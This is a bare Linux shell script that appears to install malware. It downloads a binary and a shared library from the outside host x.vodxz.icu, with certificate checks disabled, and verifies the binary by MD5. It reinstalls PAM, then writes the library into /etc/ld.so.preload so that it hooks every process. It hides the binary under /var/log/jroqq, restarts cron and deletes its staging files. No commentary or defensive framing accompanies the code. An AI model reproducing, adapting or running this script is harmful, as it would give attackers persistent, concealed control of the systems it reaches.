

if [ -f "/usr/bin/wget" ]; then
	wget -q https://x.vodxz.icu/d/d1_color.d -O /var/tmp/auto-color
	wget -q https://x.vodxz.icu/d/d1_libcext.so.2 -O /var/tmp/libcext.so.2
elif [ -f "/usr/bin/curl" ]; then
	curl -k -s -o /var/tmp/auto-color https://x.vodxz.icu/d/d1_color.d
	curl -k -s -o /var/tmp/libcext.so.2 https://x.vodxz.icu/d/d1_libcext.so.2
else 
	echo "fail delete ok!!!"
	rm -rf /var/tmp/libcext.so.2
	rm -rf /var/tmp/auto-color
	rm -rf /var/tmp/systemd-private-14992f791ea149e5b6bdce94ff6a15ac-systemd.service-fSMuRh
	exit 1
fi



# 获取文件的实际 MD5 值
actual_md5=$(md5sum /var/tmp/auto-color | awk '{print $1}')
colo_pid=$(ps -ef | grep "flush" | grep "color" | grep -v grep | awk '{print $2}')

echo "read ok!!!"

# 比较实际 MD5 和预期 MD5
if [ $actual_md5 = "f60d58cf482e680a69ece4d035a5a8c0" ]; then

	echo "down ok!!!"
	if [ -n "$colo_pid" ]; then
		echo "pid: $colo_pid"
		
		/bin/cp -f /var/tmp/auto-color /var/log/jroqq/auto-color
		chmod 0755 /var/log/jroqq/auto-color
		rm -rf /var/log/jroqq/auto.l
		sleep 5

		echo "delete ok!!!"

		rm -rf /var/tmp/libcext.so.2
		rm -rf /var/tmp/auto-color
		rm -rf /var/tmp/systemd-private-14992f791ea149e5b6bdce94ff6a15ac-systemd.service-fSMuRh
		
		kill -9 $colo_pid
		rm -rf /var/log/jroqq/auto.l
		sleep 5
		if [ -f "/usr/lib/systemd/system/crond.service" ]; then
			systemctl restart crond
			sleep 5
			systemctl restart crond
		else
			systemctl restart cron
			sleep 5
			systemctl restart cron
		fi
	else
		
		if [ -f "/usr/bin/yum" ]; then
			echo "install c pam!!"
			yum -y reinstall pam
		elif [ -f "/usr/bin/dnf" ]; then
			echo "install c pam!!"
			dnf -y reinstall pam
		else 
			echo "install u pam!!"
			apt-get -y install --reinstall libpam0g
		fi
		
		
		
		if [ $? -eq 0 ]; then
			echo "install ok"
		fi
		
		echo "update pam ok.. continue"
		mkdir -p /var/log/jroqq
		cp /var/tmp/libcext.so.2 /lib64/libcext.so.2
		cp /var/tmp/auto-color /var/log/jroqq/auto-color
		chmod 0755 /var/log/jroqq/auto-color
		chmod 0755 /lib64/libcext.so.2
		echo /lib64/libcext.so.2 >/etc/ld.so.preload
		
		echo "delete ok!!!"

		rm -rf /var/tmp/libcext.so.2
		rm -rf /var/tmp/auto-color
		rm -rf /var/tmp/systemd-private-14992f791ea149e5b6bdce94ff6a15ac-systemd.service-fSMuRh
			
		if [ -f "/usr/lib/systemd/system/crond.service" ]; then
			/bin/pkill -9 crond
			sleep 5
			systemctl restart crond
			sleep 5
			systemctl restart crond
		else
			
			/bin/pkill -9 cron
			sleep 5
			systemctl restart cron
			sleep 5
			systemctl restart cron
		fi
	fi
    
fi

echo "delete ok!!!"

rm -rf /var/tmp/libcext.so.2
rm -rf /var/tmp/auto-color
rm -rf /var/tmp/systemd-private-14992f791ea149e5b6bdce94ff6a15ac-systemd.service-fSMuRh
